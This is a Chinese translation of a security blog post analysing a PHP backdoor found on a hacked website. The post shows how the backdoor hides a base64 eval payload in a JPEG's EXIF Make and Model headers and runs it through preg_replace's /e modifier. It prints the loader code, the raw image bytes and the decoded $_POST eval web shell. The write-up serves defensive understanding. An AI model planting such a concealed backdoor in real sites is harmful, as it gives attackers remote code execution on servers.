幾天前,我們研究團隊的 Peter Gramantik 在一個被攻破的網站上發現一個非常有趣的後門。這個後門並沒有依靠正常模式去隱藏起內容(比如 base64/gzip 編碼),但是它卻把自己的資料隱藏在 JPEG 圖片的 EXIT 頭部中了。它也使用 exif_read_data 和 preg_replace 兩個 PHP 函式來讀取 EXIF 頭部和執行。
技術細節
這個後門可分為兩部分。第一部分是 exif_read_data 函式讀取圖片頭部,preg_replace 函式來執行內容。下面是我們在被攻破網站上發現的程式碼:
1 2 |
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg'); preg_replace($exif['Make'],$exif['Model'],''); |
這兩個函式本身是無害滴。exif_read_data 函式常用來讀取圖片,preg_replace 函式是替代字元內容。不過,preg_replace 函式函式有個隱藏並微妙的選項,如果你傳入 “/e”,它會執行 eval() 中的內容,就不是去查詢/替代了。
所以我們在檢視 bun.jpg 檔案時,發現後門的第二部分:
1 2 3 4 5 |
ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@ ^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^ @ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); @ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^ |
這個檔案用以常見的頭部開始,但是在 ”make” 頭部中混入了奇怪的關鍵字 “/.*/e” 。有了這個執行修飾符, preg_replace 會執行 eval() 中傳入的任意內容。
事情變得開始有趣了……
如果我們們繼續來看看 EXIF 資料,我們能發現, “eval ( base64_decode” 隱藏在 “Model” 頭部。把這些放在一起看,我們們就知道怎麼回事了。攻擊者是從 EXIF 中讀取 Make 和 Model 頭部資訊,然後傳入到 preg_replace 函式。只要我們修改 $exif[‘Make’] 和 $exif[‘Model’] ,就得到了最終的後門。
1 |
preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ..."); |
解碼後我們可以看到是執行 $_POST[“zz1”] 提供的內容。完整解碼後的後面在這裡。
1 |
if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"].. |
隱藏惡意軟體
另外一個有意思的是,雖然 bun.jpg 和其他圖片檔案被攻破了,但然後能載入並正常工作。實際上,在這些被攻破的站點,攻擊者修改了站點上一個合法並之前就存在的圖片。這是一種奇特的隱藏惡意軟體的方法。
打賞支援我翻譯更多好文章,謝謝!
打賞譯者
打賞支援我翻譯更多好文章,謝謝!
任選一種支付方式